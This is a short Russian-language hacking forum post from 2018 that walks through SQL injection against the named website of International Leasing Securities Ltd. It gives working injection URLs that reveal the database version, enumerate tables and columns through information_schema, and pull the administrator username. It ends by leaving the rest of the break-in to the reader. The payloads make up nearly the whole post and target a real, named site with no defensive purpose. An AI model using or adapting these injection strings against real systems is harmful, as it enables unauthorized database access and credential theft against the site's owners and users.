21.12.2018, 03:35
|
|
Новичок
Регистрация: 25.04.2010
Сообщений: 0
С нами:
8445343
Репутация:
0
|
|
- International Leasing SecuritiesLtd.
Версия БД:
Код:
http://www.ilslbd.com/content.php?Id=1%27or(ExtractValue(1,concat(0x3a,(select(version())))))=%271
находим нужную таблицу:
Код:
http://www.ilslbd.com/content.php?Id=-1%27+UNION+select+1,2,convert(table_name%20using%20latin1)+from+information_schema.tables+limit+45,1+--+
играемся с лимитом и получаем нужную колонку:
Код:
http://www.ilslbd.com/content.php?Id=-1%27+UNION+select+1,2,convert(column_name%20using%20latin1)+from+information_schema.columns+where+table_name=%27admin%27+limit+3,1+--+
получаем админский логин
Код:
http://www.ilslbd.com/content.php?Id=-1%27+UNION+select+1,2,convert(UserName%20using%20latin1)+from+admin+limit+0,1+--+
ну а дальше сами... |
|
|